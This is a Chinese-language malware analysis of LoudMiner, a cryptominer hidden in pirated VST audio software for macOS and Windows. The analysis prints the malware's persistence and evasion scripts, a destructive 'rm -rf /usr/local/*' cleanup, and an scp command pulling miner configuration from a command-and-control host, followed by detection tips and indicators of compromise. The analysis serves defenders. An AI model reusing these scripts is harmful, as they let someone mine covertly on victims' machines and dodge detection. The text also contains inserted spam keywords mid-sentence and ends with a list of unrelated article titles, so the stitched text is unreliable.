介绍

在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2018年8月被发现,主要针对macOS和Windows系统。它能通过一些虚拟软件,如macOS上的QEMU和Windows上的VirtualBox,在Tiny Core Linux虚拟机上进行加密货币挖掘活动——这种方式使之在面对不同操作系统时具有很强的适应性。LoudMiner常与盗版的VST(虚拟工作室技术)软件捆绑在一起,让下载的用户不知不觉中招。LoudMiner基于XMRig (一款门罗币挖矿程序),并用到了矿池,这让我们无法追溯潜在的交易过程。

分布

在撰写本文时,我们在一个WordPress站点上发现了137个VST相关应用程序(42个用于Windows,95个用于macOS),该站点的域名于2018年8月24日注册。第一个应用程序——用于Windows的Kontakt Native Instruments 5.7——也是在注册当天上传的。考虑到应用的数量,对它们逐个分析会有些不切实际,不过我们可以先把它们都视作恶意木马看待。

挖矿程序本身则不在此站点上,而是托管在另外29个外部服务器中,服务器可见文末的IoC列表。由于LoudMiner背后的操作人员时常对其做更新,我们很难跟踪到它的第一个版本。

LoudMiner之所以选择与音频制作软件绑定,我们猜测可能有以下几点原因,一是安装这些VST软件的机器往往具有良好的处理能力;二是音频处理的高CPU消耗可能会掩盖挖矿的踪迹,让用户难以察觉;此外,这些VST软件通常很复杂,可以借用它们大文件的外壳掩人耳目,伪装VM映像的存在。攻击者选择使用虚拟机而不是更精简的方案,这一决定虽不常见实则却非常有效。

以下是攻击者捆绑的一些VST软件样本,以及网站上诱使用户下载的一些“好评”:PHP大马

· Propellerhead Reason

· Ableton Live

· Sylenth1

· Nexus

· Reaktor 6

· AutoTune

图1、图2:该站点管理员对用户的回复

用户反馈

我们观察到,也有一些用户在该站点反馈进程说qemu-system-x86_64在他们的Mac上占用了100%的CPU:

图3.用户报告#1(https://discussions.apple.com/thread/250064603)

图4.用户报告#2(https://toster.ru/q/608325)

名为“Macloni”的用户表示:

我将不得不重新安装OSX。问题可能是出在了Ableton Live 10身上,我没有从官方网站下载,结果在安装软件的同时也安上了挖矿程序,完全占据了我的电脑内存。

同时该用户指示出有2个进程——qemu-system-x86_64和tools-service——占用了25%的CPU资源且以root身份运行。

盗版软件分析

攻击者对macOS和Windows应用程序构想的总体思路是一样的:

· 首先,应用程序与虚拟化软件、Linux映像和用于实现持久性的附加文件捆绑在一起。

· 用户下载应用程序后按照说明进行安装。

· 先安装扬声器采集器,再安装实际的VST软件。

· LoudMiner隐藏自身,并在重启时变为持久性。

· 启动Linux虚拟机并开始挖掘工作。

· 虚拟机中的脚本与C&C服务器联系来更新矿机(配置和二进制文件)。

在分析不同的应用程序时,我们已经确定了四个版本的挖矿机,主要是通过它与实际软件、C&C服务器域捆绑在一起的方式,以及作者创建的版本字符串来区分。

3个macOS的版本

到目前为止,我们已经识别出这款恶意软件的三个macOS版本。它们都是将自身复制到/usr/local/bin,也都包含了installerdata.dmg中运行QEMU所需的依赖项,并对运行过程设置了适当的权限。每个挖矿机都可以同时运行两个映像,每个映像占用128 MB的RAM和一个CPU核。持久性则是通过将RunAtLoad设置为true,并在/Library/LaunchDaemons中添加plist文件来实现的;同时还将KeepAlive设置为true,以确保停止后进程重新启动。每个版本都有以下组件:奇热影视

· QEMU Linux映像。

· 用于启动QEMU映像的Shell脚本。

· 守护进程,用于在启动时启动shell脚本并使其运行。

· 一个带有守护进程的CPU监视器shell脚本,它可以根据CPU使用情况和活动监视器进程是否正在运行来启动/停止挖掘。

CPU监视器脚本可以通过加载守护进程来启动挖掘活动,终止进程来结束挖掘。如果Activity Monitor进程正在运行,则挖掘将停止。此外,它会检查系统空闲了多长时间(以秒为单位):

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

如果超过2分钟,则开始挖掘;如不到2分钟,则检查总CPU使用率:

ps -A -o %cpu | awk '{s+=$1} END {print s }'

除以CPU核数:

sysctl hw.logicalcpu |awk '{print $2 }')

如果大于85%,就停止挖掘。不同版本的脚本本身略有不同,但总体思路是相同的。

安装完成后,会删除所有挖矿机相关安装文件。

图5. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg的安装

图6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg设置说明

版本1

下载的应用程序包中的挖矿机文件没有经过模糊处理或放在另一个包中; 它们与软件一起安装在下列位置:

1、/Library/Application Support/.Qemusys

· qemu-system-x86_64 – 干净的QEMU二进制文件

· sys00_1-disk001.qcow2 – Linux 映像 (初始)

· qemuservice – 通过qemu-system-x86_64二进制文件启动初始映像的shell脚本(参见脚本1代码段)

2、/Library/Application Support/.System-Monitor

system-monitor.daemon –通过system-monitor二进制文件启动第一个映像

3、/usr/local/bin

.Tools-Service

· sys00_1-disk001.qcow2 – Linux 映像(第二个)

· tools-service.daemon –通过tools-service二进制文件启动第二个映像

· cpumonitor – 根据空闲时间和CPU使用情况启动/停止挖掘

· system-monitor – qemu-system-x86_64二进制文件的副本

· tools-service – qemu-system-x86_64二进制文件的副本

4、/Library/LaunchDaemons

· buildtools.system-monitor.plist – 启动system-monitor.daemon

· buildtools.tools-service.plist – 启动tools-service.daemon

· modulesys.qemuservice.plist – 启动qemuservice

· systools.cpumonitor.plist – 启动cpumonitor

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;

脚本1. qemuservice shell脚本

复制依赖项后,将启动所有与矿机相关的守护程序,然后安装实际软件:

1.如果Activity Monitor进程正在运行,qemuservice将不会启动映像,并卸载它所启动的plist。

2.tools-service.daemon仅在qemu-system-x86_64进程未运行且睡眠45分钟后才会启动映像。

3.只有在检测到Intel i5,i7或i9 CPU时,System-monitor.daemon才会启动映像。

这些脚本使用相同的命令来启动QEMU映像,只是名称和映像路径不同。

与版本1挖矿机相关的截图:

图7.使用Little Snitch的QEMU的CPU消耗(来源:https://imgur.com/a/sc3u6kk)

上图来自Little Snitch,表示来自进程qemu-system-x86_64的某些连接被阻止。具体来说,hopto[.]org (一个免费的主机名服务)是挖矿机版本1使用的C&C。

版本2

挖矿机文件位于下载的应用程序包内的data_installer.pkg中。将先安装data_installer.pkg,其次再安装VST软件,且在安装之前,会将版本1删除并执行以下命令:

rm -rf /usr/local/*

如脚本2中的列表所示,它仅在检测到正在运行的qemu-system-x86_64进程时才会这样做。

#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;

脚本2的 data_installer.pkg预安装脚本,用于删除版本1。

并创建以下临时文件:

/Users/Shared

· z1 – QEMU二进制文件

· z1.daemon – 使用QEMU二进制文件启动QEMU映像

· z1.qcow2  –  QEMU映像

· z1.plist  – 启动z1.daemon

· z3  –  CPU监视器脚本,与版本1 cpumonitor相比变化不大

· z3.plist  – 用于启动z3

· randwd  – 生成随机名称

复制依赖项后将安装矿机。这次使用randwd脚本随机化QEMU二进制文件、plists和目录的名称。挖矿机安装过程会创建z1,z1.daemon,z1.qcow2和z1.plist的两个副本。对于每个副本,会发生下列情况:

· 在/ Library / Application Support中创建具有随机名称的目录

· QEMU二进制文件z1具有与目录相同的名称,并被复制到/ usr / local / bin中

· z1.daemon(参见脚本3中的列表)和z1.qcow2以随机名称复制到此目录中

· z1.plist以名称com.<random_name>.plist复制到/ Library / LaunchDaemons中

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;

脚本3. z1.daemon shell脚本

版本2比版本1更清晰简单。只有一个QEMU映像两个副本; 映像启动器脚本,守护进程和cpumonitor是相同的。尽管版本2随机化了文件和

目录,但它只能安装一次,因为安装时会在命令行中使用accel = hvf检查正在运行的进程。

从我们到目前为止检查到的版本2应用程序,data_installer.pkg的SHA1哈希始终是39a7e86368f0e68a86cce975fd9d8c254a86ed93。

版本3

挖矿机文件位于应用程序包内名为do.dmg的加密DMG文件中,安装DMG使用以下命令:

printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.

矿机DMG里有一个datainstallero.pkg包,再安装此软件包。

datainstallero.pkg与版本2的data_installer.pkg包内容大致相同,但datainstallero.pkg添加了两个混淆的脚本——clearpacko.sh和installpacko.sh,还混淆了以前的脚本randwd:

· clearpacko.sh用于删除版本2。

· installpacko.sh以与版本2相同的方式安装矿机,除了从脚本中删除注释之外。

· do.dmg的SHA1保持不变:b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9。

Linux映像

所有的版本都利用多个shell脚本来启动映像文件。shell脚本在引导时由plist执行,并保持活动状态。

版本1执行以下二进制文件(qemu-system-x86_64的副本)以启动QEMU映像:qemu-system-x86_64,system-monitor,tools-service。

版本2和3使用相同的命令,但二进制文件的文件名、Application Support中的目录和QEMU文件名是随机的。

所有版本都使用以下转换:

· -M accel = hvf使用Hypervisor(https://developer.apple.com/documentation/hypervisor)框架作为加速器。 HVF是在OS X 10.10中引入的,并且在2018年4月发布的QEMU 2.12中添加了对HVF的支持。

· -display none,以便虚拟机在没有图形界面的情况下运行。

由于未指定RAM量和CPU内核数量,这种情况下启动映像使用的是默认值:1个CPU内核和128MB RAM。所有版本都可以启动2个映像。

Windows(版本4)

从应用程序中提取的字符串中,我们定义了到目前为止所见的唯一Windows版本,其逻辑与macOS版本非常相似。用户下载的应用程序是破解的应用程序,加上封装为MSI安装程序的挖矿机。图8显示了运行破解的VST安装程序时,弹出的VirtualBox驱动安装信任窗口。

图8.弹出窗口

VirtualBox安装在它常规的文件夹(C:\Program Files\Oracle)中;但是,目录的属性被设置为“hidden”。之后安装程序将Linux映像和VBoxVmService(用于将VirtualBox虚拟机作为服务运行的Windows服务)复制到C:\ vms,这也是一个隐藏目录。安装完成后,安装程序将运行由BAT2EXE编译的批处理脚本(请参阅脚本4),以导入Linux映像并运行VmServiceControl.exe以将虚拟机作为服务启动。

@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"

脚本4.用于将Linux虚拟机作为服务运行的批处理脚本

此方法用于确保重启后的持久。实际上,VboxVmService附带了一个配置文件(参见脚本5),其中可以启用AutoStart选项,以便在机器启动时自动启动虚拟机。

[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes

脚本5.VBoxVmService的配置文件,启用了AutoStart

Linux映像中包含的OVF文件描述了虚拟机的硬件配置(请参阅脚本6):它使用1GB的RAM和2个CPU核(最大使用率为90%)。

<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>

脚本6.Linux映像的硬件配置

Linux映像

Linux映像是一个配置为运行XMRig的Tiny Core Linux 9.0,还有一些文件和脚本,以使挖掘程序不断更新。最有趣的文件是:

· /root/.ssh/{id_rsa,id_rsa.pub}  – 用于使用SCP从C&C服务器更新挖矿机的SSH对密钥。

· /opt/{bootsync.sh,bootlocal.sh}  – 从C&C服务器更新挖矿机并运行的系统启动命令(参见脚本7和8):

/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin

脚本7.bootsync.sh

/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig

脚本8. bootlocal.sh

· / mnt / sda1 / tools / bin  – 用于更新和运行挖矿机的主要文件和脚本。

· / mnt / sda1 / tools / xmrig  – 包含XMRig的源代码(来自GitHub(https://github.com/xmrig/xmrig))。

矿机的配置存储在/mnt/sda1/tools/bin/config.json中,主要包含用于矿池的域名和端口,具体取决于版本型号(请参阅IoC部分中的示例)。

更新机制由三个不同的脚本通过SCP(安全文件复制)执行,三个脚本分别是:

· xmrig_update  – 更新矿机的配置(config.json);

· ccommand  – 更新ccommand_update,xmrig_update(参见脚本9),updater.sh,xmrig;

· ccommand_update  – 更新ccommand。

从我们看到的情况来看,矿机的配置是每天更新一次的。

#!/bin/sh

ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json

脚本9. xmrig_update

为了识别特定的挖掘会话,idgenerator脚本会创建一个包含机器的IP地址和日期的文件,并用update .sh脚本将其输出发送到C&C服务器。

保护方案

显然,要防范此类威胁,最好就是不要下载商业软件的盗版副本。除此之外,也有一些提示可以帮助您确定应用程序中是否包含了附加的代码:

· 一些不沾边的“附加”安装程序(在本例中为Oracle网络适配器)的信任弹出窗口。

· 没有安装的进程(本例中为QEMU或VirtualBox)却占用了大量的CPU。

· 有新服务添加到启动服务列表(Windows)或新的启动守护程序(macOS)中去。

· 一些奇怪域名的网络连接(例如system-update [.] info或system-check [.] services)。

IoC

hash

· macOS应用程序(版本1-3)

· Windows应用程序(版本4)

· Linux映像

文件名

· macOS

/Library/Application Support/.Qemusys

/Library/Application Support/.System-Monitor

/usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}

/Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}

· Windows

C:\vms

主机名

vstcrack[.]com (137[.]74.151.144)

用于下载的主机(端口80,HTTP)

185[.]112.156.163

185[.]112.156.29

185[.]112.156.70

185[.]112.157.102

185[.]112.157.103

185[.]112.157.105

185[.]112.157.12

185[.]112.157.181

185[.]112.157.213

185[.]112.157.24

185[.]112.157.38

185[.]112.157.49

185[.]112.157.53

185[.]112.157.65

185[.]112.157.72

185[.]112.157.79

185[.]112.157.85

185[.]112.157.99

185[.]112.158.112

185[.]112.158.133

185[.]112.158.186

185[.]112.158.190

185[.]112.158.20

185[.]112.158.3

185[.]112.158.96

d-d[.]host (185[.]112.158.44)

d-d[.]live (185[.]112.156.227)

d-d[.]space (185[.]112.157.79)

m-m[.]icu (185[.]112.157.118)

用于更新的主机(通过SCP)

aly001[.]hopto.org (192[.]210.200.87, port 22)

system-update[.]is (145[.]249.104.109, port 5100)

用于挖掘的主机

system-update[.]info (185[.]193.126.114, port 443 or 8080)

system-check[.]services (82[.]221.139.161, port 8080)

LoudMiner:伪装在VST软件中的跨平台挖矿软件相关推荐

  1. 优秀软件分享-Termius 跨平台SSH软件

    Termius 跨平台SSH软件开门见山:Termius应该是用过最舒服的SSH软件了,敲命令的时候有SecureCRT的感觉,软件管理上比MobaXterm更胜一筹 原文链接 优秀软件分享-Term ...

  2. 哪个计算机软件可以编辑动画文字,下面的软件中,属于文字编辑软件的是( )。A.FlashB.AuthorwareC.wordD.ACDSee - 试题答案网问答...

    相关题目与解析 下面的软件中,属于图片浏览软件的是().A.FlashB.AuthorwareC.wordD.ACDSee 下面软件中,是常用课件制作工具的是()A.FlashB.Authorware ...

  3. AI芯片下一步怎么走?“从软件中来,到软件中去”

    https://www.toutiao.com/a6672883474858246664/ 从当前的市场格局看来,不少应用场景诸如智慧社区.智慧楼宇.智能安防.智慧商业等,用传统的通用型芯片来做AI运 ...

  4. 模块化 组件化 工程化_软件工程中的模块和软件组件

    模块化 组件化 工程化 The module in software is a small part of the software that is responsible for performin ...

  5. Linux学习笔记4-三种不同类型的软件的安装(绿色软件、rpm软件、源代码软件)...

    在Linux下软件分三种: 1.绿色软件:即不用安装直接就能用的软件 2.rpm安装包:以rpm结尾的可执行文件  3.源码文件:没有进行过编译和打包的文件,需要编译后再进行安装 一.绿色软件的安装 ...

  6. 计算机专业试题软件,计算机专业《工具软件》试题

    计算机专业<工具软件>试题 计算机专业<工具软件>试题 一.单项选择题(每题2分,共50分) 1.一个完整的计算机系统由哪两大部分组成(). A.系统软件.应用软件 B.系统软 ...

  7. 使用开源软件替换现有的盗版软件

    使用开源软件替换现有的盗版软件,很强大,很好 [@more@] 1. FastStone * 软件类别:看图软件 * 目标对手:ACDSee * 当前版本:3. 3 * 下载地址:http://www ...

  8. Cyberbit:某国际机场一半以上工作站都已被挖矿软件占领

    前不久,当我们在欧洲的一个国际机场部署Cyberbit的Endpoint Detection and Response(EDR)时,研究人员发现了一件惊人的事实,机场超过50%的工作站都被安装了挖矿软 ...

  9. GitNote 基于 Git 的跨平台笔记软件正式发布

    GitNote 基于 Git 的跨平台笔记软件 为什么 自从工作之后,我开始进行笔记记录,这是一个很棒的习惯.我曾经使用过 EDiary Evernote Onenote Wiz 麦库等,都是一些不错 ...

  10. 如何在 Python 中构建跨平台桌面应用程序

    如何在 Python 中构建跨平台桌面应用程序 开发桌面 GUI 应用程序曾经是一个乏味.容易出错且缓慢的过程. 当然,Python 在整体上极大地简化了应用程序开发,但在 GUI 领域,仍然没有真正 ...

最新文章

  1. 腾讯发布2020人工智能白皮书:泛在智能
  2. Elasticsearch优化
  3. unix网络编程——ioctl 函数的用法详解
  4. 第七章 脚本参数的传递
  5. 字符串经典题之参数解析
  6. 蔡徐坤团队获得”微博年度最佳团体“!vivo X23幻彩版却实力抢眼
  7. EntityFramework之迁移操作(五)
  8. 四部门对蚂蚁集团提出整改要求,蚂蚁集团:已立即着手制定整改方案
  9. Mac下Boost环境搭建
  10. MIT计算机专业本硕连读几年,2020年麻省理工学院读研要多久
  11. mysql热拷贝_MySQL备份与恢复之热拷贝
  12. Android 修改阿拉伯语数字显示
  13. 5g网络测试用什么软件,5G网络测速
  14. Luogu P3403 跳楼机|同余最短路
  15. 时尚pr标题模板,简约故障风格pr文字模板
  16. 新一代人工智能:从“感知智能”向“认知智能”转化
  17. 【c++】判断一个点是否在三角形内部
  18. C# 生成单色图的代码
  19. 一幅长文细学HTML5
  20. jersey number什么意思_Jersey是什么布料?

热门文章

  1. 2021华为软挑赛题_思路分析——实时更新,做多少更多少(八)
  2. 某站300买的 代shua网授权系统打包
  3. linux低级格式化工具下载,硬盘低格工具(Hard Disk Low Level Format Tool)
  4. Qt Creator使用clang-format格式化代码
  5. GoLand tool tips
  6. 十三届蓝桥杯国赛 内存空间 python 满分答案
  7. 通达oa 2013 php解密,通达OA 2011-2013 通杀GETSHELL修复补丁
  8. baidumap api MySQL_百度地图API获取数据
  9. 电脑维修知识:电脑常见故障维修大全及解决方法
  10. 华硕主板升级BIOS的全过程,用华硕的小伙伴都忍不住升级啦!